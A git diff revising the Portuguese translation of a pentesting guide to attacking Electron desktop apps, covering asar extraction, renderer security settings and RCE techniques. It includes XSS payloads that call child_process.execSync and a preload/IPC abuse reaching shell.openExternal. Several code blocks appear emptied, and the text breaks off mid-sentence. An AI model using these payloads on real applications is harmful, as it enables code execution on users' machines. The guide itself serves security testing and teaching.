diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
index 4bce0cdc3..11af4de57 100644
--- a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
+++ b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md
@@ -1,12 +1,12 @@
-# Electron Desktop Apps
+# Aplicações Desktop Electron
{{#include ../../../banners/hacktricks-training.md}}
## Introdução
-Electron combina um backend local (com **NodeJS**) e um frontend (**Chromium**), embora falte alguns dos mecanismos de segurança dos navegadores modernos.
+Electron combina um backend local (com **NodeJS**) e um frontend (**Chromium**), embora lhe faltem alguns dos mecanismos de segurança dos navegadores modernos.
-Normalmente, você pode encontrar o código do aplicativo electron dentro de uma aplicação `.asar`, para obter o código você precisa extraí-lo:
+Normalmente poderá encontrar o código da aplicação Electron dentro de uma aplicação `.asar`; para obter o código é necessário extraí-lo:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
@@ -17,14 +17,14 @@ No código-fonte de um aplicativo Electron, dentro de `packet.json`, você pode
"name": "standard-notes",
"main": "./app/index.js",
```
-O Electron tem 2 tipos de processos:
+Electron tem 2 tipos de processo:
-- Processo Principal (tem acesso completo ao NodeJS)
-- Processo de Renderização (deve ter acesso restrito ao NodeJS por razões de segurança)
+- Main Process (tem acesso completo ao NodeJS)
+- Renderer Process (deve ter o acesso ao NodeJS restrito por motivos de segurança)
.png>)
-Um **processo de renderização** será uma janela do navegador carregando um arquivo:
+Um **renderer process** será uma janela do navegador carregando um arquivo:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@@ -32,18 +32,18 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
-As configurações do **renderer process** podem ser **configuradas** no **main process** dentro do arquivo main.js. Algumas das configurações irão **prevenir que a aplicação Electron obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretamente configuradas**.
+As configurações do **renderer process** podem ser **configuradas** no **main process** dentro do arquivo main.js. Algumas dessas configurações irão **impedir que a Electron application obtenha RCE** ou outras vulnerabilidades se as **configurações estiverem corretas**.
-A aplicação Electron **pode acessar o dispositivo** via APIs do Node, embora possa ser configurada para impedir isso:
+A Electron application **pode acessar o dispositivo** via Node apis, embora possa ser configurada para impedir isso:
-- **`nodeIntegration`** - está `desligado` por padrão. Se ativado, permite acessar recursos do Node a partir do renderer process.
-- **`contextIsolation`** - está `ativado` por padrão. Se desligado, os processos principal e renderer não estão isolados.
+- **`nodeIntegration`** - está `off` por padrão. Se ativado, permite acessar recursos do Node a partir do renderer process.
+- **`contextIsolation`** - está `on` por padrão. Se `off`, os processos main e renderer não são isolados.
- **`preload`** - vazio por padrão.
-- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está desligado por padrão. Isso restringirá as ações que o NodeJS pode realizar.
-- Integração do Node em Workers
-- **`nodeIntegrationInSubframes`** - está `desligado` por padrão.
-- Se **`nodeIntegration`** estiver **ativado**, isso permitiria o uso de **APIs do Node.js** em páginas da web que estão **carregadas em iframes** dentro de uma aplicação Electron.
-- Se **`nodeIntegration`** estiver **desativado**, então os preloads serão carregados no iframe.
+- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - está `off` por padrão. Vai restringir as ações que o NodeJS pode executar.
+- Node Integration in Workers
+- **`nodeIntegrationInSubframes`** - está `off` por padrão.
+- Se **`nodeIntegration`** estiver **enabled**, isso permitirá o uso das **Node.js APIs** em páginas web que são **carregadas em iframes** dentro de uma Electron application.
+- Se **`nodeIntegration`** estiver **disabled**, então os preloads serão carregados no iframe
Exemplo de configuração:
```javascript
@@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
-Alguns **RCE payloads** de [aqui](https://7as.es/electron/nodeIntegration_rce.txt):
+Alguns **RCE payloads** de [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
-### Captura de tráfego
+### Capturar tráfego
Modifique a configuração start-main e adicione o uso de um proxy como:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
-## Injeção de Código Local do Electron
+## Electron Local Code Injection
+
+Se você conseguir executar localmente um Electron App é possível que você possa fazê-lo executar código javascript arbitrário. Check how in:
-Se você puder executar localmente um aplicativo Electron, é possível que você consiga fazer com que ele execute código JavaScript arbitrário. Confira como em:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@@ -111,7 +112,7 @@ Se você puder executar localmente um aplicativo Electron, é possível que voc
## RCE: XSS + nodeIntegration
-Se o **nodeIntegration** estiver definido como **on**, o JavaScript de uma página da web pode usar recursos do Node.js facilmente apenas chamando o `require()`. Por exemplo, a maneira de executar o aplicativo calc no Windows é:
+Se o **nodeIntegration** estiver definido como **on**, o JavaScript de uma página web pode usar funcionalidades do Node.js facilmente apenas chamando `require()`. Por exemplo, a forma de executar o aplicativo calc no Windows é:
```html
```
-## RCE: webviewTag + preload IPC vulnerável + shell.openExternal
+## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
-Essa vulnerabilidade pode ser encontrada em **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
+Esta vuln pode ser encontrada em **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
-O **webviewTag** é um **recurso obsoleto** que permite o uso de **NodeJS** no **processo de renderização**, que deve ser desativado, pois permite carregar um script dentro do contexto de preload como:
+O **webviewTag** é um **recurso obsoleto** que permite o uso de **NodeJS** no **renderer process**, que deve ser desabilitado, pois permite carregar um script dentro do preload context como:
```xml
```
-Portanto, um atacante que conseguir carregar uma página arbitrária poderia usar essa tag para **carregar um script de pré-carregamento arbitrário**.
+Portanto, um atacante que consiga carregar uma página arbitrária poderia usar essa tag para **carregar um preload script arbitrário**.
-Esse script de pré-carregamento foi abusado para chamar um **serviço IPC vulnerável (`skype-new-window`)** que estava chamando **`shell.openExternal`** para obter RCE:
+Esse preload script foi então abusado para chamar um **serviço IPC vulnerável (`skype-new-window`)** que chamava **`shell.openExternal`** para obter RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@@ -250,11 +251,11 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
```
## Leitura de Arquivos Internos: XSS + contextIsolation
-**Desabilitar `contextIsolation` permite o uso de `` tags**, semelhante a `